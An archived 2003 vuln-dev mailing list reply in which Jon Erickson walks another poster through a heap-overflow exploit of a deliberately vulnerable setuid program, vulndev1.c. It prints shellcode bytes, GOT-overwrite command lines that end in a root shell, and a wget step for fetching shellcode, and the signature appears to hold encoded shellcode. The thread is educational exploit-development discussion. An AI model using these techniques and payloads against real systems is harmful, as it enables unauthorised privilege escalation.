Vulnerability Development mailing list archives

Re: CORRECTION: vulndev1.c solution (WARNING! QUESTIONS!)


From: Jon Erickson <matrix () phiral com>
Date: Wed, 21 May 2003 15:58:25 -0700

On Wed, 21 May 2003 14:38:11 -0700
"Jeremy Junginger" <jj () act com> wrote:

There was an erroneous /xfg below, that I re-ran with /xff.  It's marked
with ****

-----Original Message-----
From: Jeremy Junginger 
Sent: Wednesday, May 21, 2003 2:28 PM
To: 'Jon Erickson'; vuln-dev () securityfocus com
Subject: RE: vulndev1.c solution (WARNING! QUESTIONS!)


This is by far the most informative BO discussion I have read.

If there are any takers out there (Mr. Erickson?), I have some
questions.  I was trying to replicate Mr. Erickson's exploit on a Redhat
8.0 System, but am having some trouble understanding.  I have tried my
best to n00b along with Jon.  Please take a look at this if you have
time and let me know how to get my head out of my a$$ on this.  Thanks,

[root@OxFFFFFF bufferoverflow]# uname -a
Linux OxFFFFFF 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386
GNU/Linux

[root@OxFFFFFF bufferoverflow]# cat vulndev1.c
#include <stdio.h>
#include <stdlib.h>

#define SIZE 252

int
main(int argc, char *argv[])
{
        int i;
        char    *p1, *p2;
        char    *buf1 = malloc(SIZE);
        char    *buf2 = malloc(SIZE);

        if (argc !=3)
                exit(1);

        p1 = argv[1], p2 = argv[2];
        printf("p1 is at %p\n", p1);
        strncpy(buf2, p2, SIZE);
        for (i = 0; i <= SIZE && p1[i] != '\0'; i++)
                buf1[i] = p1[i];
        free(buf1);
        free(buf2);
        return 0;
}



(No explanation needed)
[root@OxFFFFFF bufferoverflow]# gcc -o vuln1 vulndev1.c 
[root@OxFFFFFF bufferoverflow]# sudo chown root.root ./vuln1 
[root@OxFFFFFF bufferoverflow]# sudo chmod u+s ./vuln1

(Looking for address of free (08049638) and _libc_start_main (0804962c) 
[root@OxFFFFFF bufferoverflow]# objdump -R ./vuln1

./vuln1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049640 R_386_GLOB_DAT    __gmon_start__
08049628 R_386_JUMP_SLOT   malloc
0804962c R_386_JUMP_SLOT   __libc_start_main
08049630 R_386_JUMP_SLOT   printf
08049634 R_386_JUMP_SLOT   exit
08049638 R_386_JUMP_SLOT   free
0804963c R_386_JUMP_SLOT   strncpy

(Okay, I'm taking 0x38 (from free?!?) and subtracting 12...but I'm not
sure what this does) 

Basically.. the free() function is going to add 12 to the address you feed it.. so you're just subtracting 12 to 
compensate for that...

[root@OxFFFFFF bufferoverflow]# pcalc 0x38-12  
        44              0x2c            0y101100

(Here I'm showing the shellcode.  It's not the same as Jon's, this is
one obvious point at which it may be failing.  Perhaps I can get a copy
of the 'shell' file or get a clue as to how to generate one...besides
using shellcode.c from http://packetstormsecurity.nl) 
[root@OxFFFFFF bufferoverflow]# od -ch shell
0000000   \   x   e   b   \   x   1   f   \   x   5   e   \   x   8   9
        785c 6265 785c 6631 785c 6535 785c 3938
0000020   \   x   7   6   \   x   0   8   \   x   3   1   \   x   c   0
        785c 3637 785c 3830 785c 3133 785c 3063
0000040   \   x   8   8   \   x   4   6   \   x   0   7   \   x   8   9
        785c 3838 785c 3634 785c 3730 785c 3938
0000060   \   x   4   6   \   x   0   c   \   x   b   0   \   x   0   b
        785c 3634 785c 6330 785c 3062 785c 6230
0000100   \   x   8   9   \   x   f   3   \   x   8   d   \   x   4   e
        785c 3938 785c 3366 785c 6438 785c 6534
0000120   \   x   0   8   \   x   8   d   \   x   5   6   \   x   0   c
        785c 3830 785c 6438 785c 3635 785c 6330
0000140   \   x   c   d   \   x   8   0   \   x   3   1   \   x   d   b
        785c 6463 785c 3038 785c 3133 785c 6264
0000160   \   x   8   9   \   x   d   8   \   x   4   0   \   x   c   d
        785c 3938 785c 3864 785c 3034 785c 6463
0000200   \   x   8   0   \   x   e   8   \   x   d   c   \   x   f   f
        785c 3038 785c 3865 785c 6364 785c 6666
0000220   \   x   f   f   \   x   f   f   /   b   i   n   /   s   h  \n
        785c 6666 785c 6666 622f 6e69 732f 0a68
0000240  \n  \0
        000a
0000241

(Take a byte count on the shell...looks kinda big compared to Jon's) 
[root@OxFFFFFF bufferoverflow]# wc -c shell 
    161 shell

your shellcode consists of many \x42 type bytes..  this is how you represent bytes using printf() and other format 
functions using just printables.  Basically, if you just do like..

printf `cat shell` > new_shell

that should fix it...  also, if you want to use the piece of shellcode I used, you can just

wget www.phiral.com/research/shell

It's just a really basic setruid(0), then /bin/sh shellcode.. it's actually kinda big too..

(Subtract the size of the shellcode from SIZE)
[root@OxFFFFFF bufferoverflow]# pcalc 252-161
        91              0x5b            0y1011011

(Okay, using the address 0804962c (_libsc_start_main, represented as
\x2c\x96\x04\x08) We run a long string of 91 A's (SIZE-SHELLCODE) and
append the address) 
[root@OxFFFFFF bufferoverflow]# ./vuln1 `perl -e 'print "A"x91;'``cat
shell``printf "\x0b"` `printf "\x2c\x96\x04\x08ABCD"` p1 is at
0xbffffb35

(There we get the location of p1, and append it to the end (bffffb35
represented as x35\xff\xff\xbf) 
[root@OxFFFFFF bufferoverflow]# ./vuln1 `perl -e 'print "A"x91;'``cat
shell``printf "\x0b"` `printf "\x2c\x96\x04\x08\x35\xff\xff\xbf"`
p1 is at 0xbffffb30

(Whiskey, Tango, Foxtrot, Over?!?....p1 is different....and no shell?!?
Back to the drawing board :( [root@OxFFFFFF bufferoverflow]# 

well.. as Cameron Brown pointed out in an earlier post.. unless you happen to get lucky, you really need to have a jump 
statement at the beginning of the shellcode, because about 12 bytes will get mangled.. and if you try to execute the 
mangled bytes, it will segfault.  

matrix@overdose vuln-dev $ gcc -o vuln1 vulndev1.c
matrix@overdose vuln-dev $ sudo chown root.root vuln1
matrix@overdose vuln-dev $ sudo chmod +s vuln1
matrix@overdose vuln-dev $ export SMEGMA=`printf "\xeb\x0e"`AAAAAAAAAAAAAAAAAA`cat shell`
matrix@overdose vuln-dev $ echo 'main(){printf("%p\n",getenv("SMEGMA"));}'>q.c;gcc -o q.ert q.c;./q.ert;rm q.*
0xbffffa04
matrix@overdose vuln-dev $ objdump -R ./vuln1 | grep free
080495f8 R_386_JUMP_SLOT   free
matrix@overdose vuln-dev $ pcalc 0xf8-12
        236             0xec            0y11101100
matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x253;'` `printf "\xec\x95\x04\x08\x04\xfa\xff\xbf";`
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
sh-2.05b# 

If you try using the method above (putting the shellcode in an environment variable), make sure that the name of the 
exploit program (vuln1) is the same length as the program used to get the address of the env variable (q.ert)  

-- 
%JOSE_RONNICK%50,:-dddd-0EEb-pVVyP\-1111-jjjj-yNNN-_4HUP-qq0q-02%r-_Z%JP-%Iwp-5kyyP-n5nn-aTTa-1271P-4ttt-/888-3tSMP-bbnb-L8wL-kMwgP-3Hy3-rqzWP-m%m8-h4x--v%r5P-S7S7-g7g7-F2u2PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP

Attachment: _bin
Description:


Current thread: